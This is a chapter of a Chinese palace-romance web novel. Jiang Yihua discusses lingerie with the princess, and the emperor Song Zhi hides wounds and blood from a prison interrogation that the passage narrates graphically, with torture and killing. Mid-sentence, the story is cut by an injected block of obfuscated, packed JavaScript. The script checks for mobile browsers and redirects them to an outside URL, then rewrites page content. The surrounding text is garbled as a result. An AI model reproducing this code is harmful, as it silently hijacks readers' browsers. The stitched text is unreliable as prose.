挠了半天,宋曦瑶想起正事,懒懒散散地伸腰,从姜以婳的腿上轻轻跳下。
她换上红裙,坐到姜以婳身边,只是身子也没个正形,头依在姜以婳肩上,完完全全的粘豆包。
与艳丽跋扈的外表截然相反。
这也不能怪她,姜以婳实在太好闻了,让她产生生理性冲动,想要贴在她身上。
砂糖橘趁机一跃而上,抢占刚刚宋曦瑶躺的地方,摸爬滚打,像是想把宋曦瑶的味道全都覆盖住。
“小坏猫。”宋曦瑶瞥了它一眼。
砂糖橘转过身,把屁股对准她。
姜以婳把它挪回来,“不许没有礼貌。”
一板正经地模样把宋曦瑶逗笑了,她问道:“看着真像养孩子。不过,嫂嫂,你什么时候和皇兄生个小皇子,小皇女给我玩玩?”
话题跨越之大,一时让姜以婳接不来。她从没想过生孩子的事,对她来说,孩子是一种负担。更准确来说,是一种担忧,担忧自己能否教育好这个孩子。
不过这只是一小部分原因,最主要的原因还是她不愿承担生育的风险。
姜以婳是一个胆子时大时小的人。
大的时候,她可以直接给自己的混蛋爹一巴掌,也可以为了自己理想中的生活,抛弃所有。
小的时候,她甚至连死这个字都不敢深想。死像一个黑洞,思绪一旦触碰到它,就会瞬间被吸入。在那短短的一瞬,姜以婳会想到很多死后的事情,恐惧感会一点一点地蚕食心脏。
而生育在她眼里和死中间有着千丝万缕的关系,妊娠期高血压,羊水栓塞,产后大出血……
不过这些话要是给旁人听了,恐怕会认为她是女性的奇耻大辱吧。
姜以婳僵硬地转开话题,“我都给你挠完了,你刚刚说给我出的建议呢?”
提到这,宋曦瑶来劲了。她压低声音,“我那,有些特制的衣服,改天让人给你送来点。生辰那日白天你随便送个奇珍异宝意思下,晚上呢,你就把我送的那些衣服穿给他看,保准他喜欢。”
姜以婳听懂了,原来是情趣内衣。
没想到这个朝代还有情趣内衣,真是拓宽眼界了。
宋曦瑶接受到姜以婳惊讶的眼神,以为她不信,有些着急,“真的,那群男的都喜欢这个,管你什么风流浪荡子还是清冷美男子。”
那群?
姜以婳眨眨眼,若有所悟。
宋曦瑶认真说,“尤其是皇兄那样,你看着冷淡个不行,背地里肯定骚。”
这是真的。
姜以婳在心里默默点头,每次宋止都会顶着一张禁欲脸说出左一个右一个的骚话。
什么好多水……
什么吃不够……
还有,爽不爽……
这只是让他舔舔,就骚成这样,要是真上了,岂不是……
姜以婳摇摇头,“算了吧。”
“什么算了吧?”冷淡的声音从门口传来。
宋止背着光,眉眼冷峻。
血缘里自带的压迫感让宋曦瑶下意识萎掉,可下一秒她恍然反应过来,她是给宋止谋福利的啊!她心虚什么!
她理直气壮地挺直腰板,盯回去,“我新得了个裁缝,想给嫂嫂做几件不一样的衣服,可嫂嫂不要。”
宋止款款走来,身上带着一股熟悉却又想不起来的味道,混合着皂角香。姜以婳皱鼻。
一旁的宋曦瑶自然也闻到了,她脸色有些僵,眼神扫过宋止。
这分明是血的味道,不止一个人。
宋止察觉到姜以婳的变化,垂眸,往边上偏了偏,确保姜以婳闻不到后才启唇:“我回头把前些日子进贡的香料给她。”
心情好像有些不好?
姜以婳敏锐地察觉到,她偷偷看向宋止,可看着又一切正常。
这边,宋曦瑶连忙点头,“那就这么说好了,过几日我就派人送来,一定能赶上皇兄的生辰。”
说完她就一溜烟跑了,笑话,留在那怕不是等宋止把她扔出去。
她可真是个贴心的好妹妹啊!宋曦瑶感叹道。
寝殿内,姜以婳无言以对,只能扶额。
罢了,送来后她不穿就是了。
“我先去沐浴,待会再陪你用膳。”宋止道。
姜以婳疑惑地看了他一眼,不是才洗完吗?
她拿起一缕发丝轻嗅,是刚洗完啊。
“过来的路上出了点汗。”
姜以婳纳闷地看向窗外,今天热吗?
不过宋止的洁癖对她来说是个好事,古代不爱干净是常有的事,身上生虱子也不是什么稀奇事。她可不想晚上睡觉时闻到阵阵酸臭味。
“快点嗷,我有点饿了。”姜以婳抬头看向宋止,眼中只有对食物的欲望。
——
白玉池上热气萦绕。
宋止揭开身上的纱布,丝丝血迹从伤口处渗出,染红了池水。
他却视若无睹,把全身浸润在池水里,认真清洗掉身上的血腥味。
“没有下一次了。”宋止依靠在池边,眼睛半抬,“把那些衣服烧了。”
声音平淡,却把苏忠敏吓个半死。
夭寿了,谁干的事,竟然没把陛下留有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202343|163936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
血迹的靴子给换了。幸亏皇后娘娘没点明,否则,通通都是要掉脑袋的啊!
一想到今天宋止在牢里淡定地挖掉眼睛,苏忠敏不寒而栗。他道:“是,奴才这就办。”
宋止闭眼,牢里的话阵阵回荡在他脑海里。
关押的人是瑞亲王的亲信,其中一个人是姜以婳家乡的县令。
他是先皇安插的保护瑞亲王的棋子,常年的隐藏早已使他扭曲。
在死前他萌生出一个大胆的想法,即便是死,也要让宋止不好过。
于是他开口道:
“呵,陛下这么广大神通,居然连姜以婳的毒都没查明白。那根本不是她父亲给她下得,姜述那么疼女儿的一个人,怎么可能会给她下毒。”
“那是姜以婳自己准备的毒。”
看见宋止毫无波澜的表情,县令愈发愤怒,他又下了一把猛药。
“你不知道吧,她在那有个相好,青梅竹马,两小无猜,感情甚笃。如果不是陛下横插一脚,恐怕早就有孩子了吧。”
宋止抬眸,看向他,眼神阴冷地像一条蛇,似乎下一秒就要把他送去西天。他没有说话,只是淡定地拿起匕首,挑开县令的脚筋,手筋,又挖开他的双眼。
阵阵惨叫声响彻牢房。
随后一声噗嗤声,再也没了声响。
隔壁牢房的众人瑟瑟发抖,他们虽然是县令的手下,但因为县令小心谨慎,关于瑞亲王的事全都亲力亲为。因此他们并没有参与瑞亲王的事,只是因为县令才被抓过来问问。
“谁是他身边的小厮?”有人打开牢房门问道,小厮被众人推了出来。
“他是,他是。”
“整日跟在县令身后的就是他。”
小厮顿时坠入地狱,只觉得自己离死就还差一只脚,他哆哆嗦嗦地跟在侍卫身后,来到宋止面前。
“站好。”侍卫拎起小厮,避免他瘫软在地。
“你知道姜以婳吗?”
“知,知道,是,是姜巡检的女儿。之前县令……查过她。”
“那些资料在哪?”
“被,被烧了。”
指尖敲了敲桌面,与滴答的水声相映衬。
小厮欲哭无泪:“真烧了,真烧了,小的若是说了一句假话,天打雷劈。”
“里面内容看过没?”
小厮本是看不到的,只是有次他不小心在县令书房里绊了一跤,慌忙收拾中看到了……
但他想起里面的内容,这这这,要是跟陛下说了,怕不是他下一秒人头就落地了。
“没没没。”他颤颤巍巍道。